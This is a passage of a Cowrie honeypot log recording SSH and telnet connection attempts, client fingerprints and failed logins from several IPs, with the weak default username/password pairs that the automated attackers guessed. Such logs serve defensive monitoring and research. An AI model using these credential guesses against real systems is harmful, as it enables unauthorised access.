0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:54.496094Z","src_ip":"45.156.87.254","session":"15e529acbca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:54.760395Z","src_ip":"45.156.87.254","session":"15e529acbca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.602708101272583,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:55.045353Z","src_ip":"20.123.41.163","session":"ea430d4f1f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":32990,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6e536c035e1","protocol":"ssh","message":"New connection: 186.30.115.187:32990 (10.17.0.5:22) [session: b6e536c035e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:55.560271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:55.565825Z","src_ip":"186.30.115.187","session":"b6e536c035e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:55.668819Z","src_ip":"186.30.115.187","session":"b6e536c035e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:55.853754Z","src_ip":"45.156.87.254","session":"15e529acbca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"zaq12wsx","message":"login attempt [dev/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:56.082318Z","src_ip":"186.30.115.187","session":"b6e536c035e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:57.180854Z","src_ip":"186.30.115.187","session":"b6e536c035e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53486,"dst_ip":"159.203.135.109","dst_port":22,"session":"eadeb5f7da1d","protocol":"ssh","message":"New connection: 45.156.87.254:53486 (159.203.135.109:22) [session: eadeb5f7da1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:00.030569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:00.035897Z","src_ip":"45.156.87.254","session":"eadeb5f7da1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:00.120967Z","src_ip":"45.156.87.254","session":"eadeb5f7da1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:00.529950Z","src_ip":"45.156.87.254","session":"eadeb5f7da1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:01.623130Z","src_ip":"45.156.87.254","session":"eadeb5f7da1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57048,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0da38c55ce","protocol":"telnet","message":"New connection: 104.245.105.2:57048 (10.17.0.5:23) [session: cf0da38c55ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:03.599473Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53490,"dst_ip":"159.203.135.109","dst_port":22,"session":"c74847a3cf13","protocol":"ssh","message":"New connection: 45.156.87.254:53490 (159.203.135.109:22) [session: c74847a3cf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:06.294535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:06.303716Z","src_ip":"45.156.87.254","session":"c74847a3cf13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:06.391961Z","src_ip":"45.156.87.254","session":"c74847a3cf13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:06.646110Z","src_ip":"45.156.87.254","session":"c74847a3cf13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:07.794925Z","src_ip":"45.156.87.254","session":"c74847a3cf13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57426,"dst_ip":"159.203.135.109","dst_port":22,"session":"98ceb7056a17","protocol":"ssh","message":"New connection: 45.156.87.254:57426 (159.203.135.109:22) [session: 98ceb7056a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:11.373697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:11.382206Z","src_ip":"45.156.87.254","session":"98ceb7056a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:11.458443Z","src_ip":"45.156.87.254","session":"98ceb7056a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:11.786433Z","src_ip":"45.156.87.254","session":"98ceb7056a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:12.872900Z","src_ip":"45.156.87.254","session":"98ceb7056a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57428,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b283cf9300","protocol":"ssh","message":"New connection: 45.156.87.254:57428 (159.203.135.109:22) [session: 38b283cf9300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:16.321472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:16.326767Z","src_ip":"45.156.87.254","session":"38b283cf9300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:16.414994Z","src_ip":"45.156.87.254","session":"38b283cf9300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:16.672521Z","src_ip":"45.156.87.254","session":"38b283cf9300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.329803705215454,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:17.159894Z","src_ip":"20.123.41.163","session":"ef6e1978b275","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:17.761349Z","src_ip":"45.156.87.254","session":"38b283cf9300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48388,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef06e4cc70b","protocol":"ssh","message":"New connection: 45.156.87.254:48388 (159.203.135.109:22) [session: 3ef06e4cc70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:21.249346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:21.257922Z","src_ip":"45.156.87.254","session":"3ef06e4cc70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:21.340823Z","src_ip":"45.156.87.254","session":"3ef06e4cc70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:21.726257Z","src_ip":"45.156.87.254","session":"3ef06e4cc70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:22.819281Z","src_ip":"45.156.87.254","session":"3ef06e4cc70b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34240,"dst_ip":"10.17.0.5","dst_port":23,"session":"09af0ee4c078","protocol":"telnet","message":"New connection: 104.245.105.2:34240 (10.17.0.5:23) [session: 09af0ee4c078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:23.632365Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":40398,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a94cc55b28","protocol":"ssh","message":"New connection: 185.16.214.226:40398 (10.17.0.5:22) [session: c9a94cc55b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:23.846744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:23.852079Z","src_ip":"185.16.214.226","session":"c9a94cc55b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:23.984880Z","src_ip":"185.16.214.226","session":"c9a94cc55b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:24.517626Z","src_ip":"185.16.214.226","session":"c9a94cc55b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1786f454073","protocol":"telnet","message":"New connection: 104.245.105.2:34244 (10.17.0.5:23) [session: f1786f454073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:25.121387Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38770,"dst_ip":"10.17.0.5","dst_port":23,"session":"a94cd52704df","protocol":"telnet","message":"New connection: 20.123.41.163:38770 (10.17.0.5:23) [session: a94cd52704df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:25.132860Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:25.656213Z","src_ip":"185.16.214.226","session":"c9a94cc55b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48396,"dst_ip":"159.203.135.109","dst_port":22,"session":"c63cb3210bef","protocol":"ssh","message":"New connection: 45.156.87.254:48396 (159.203.135.109:22) [session: c63cb3210bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:26.420271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:42:26.437274Z","src_ip":"45.156.87.254","session":"c63cb3210bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":[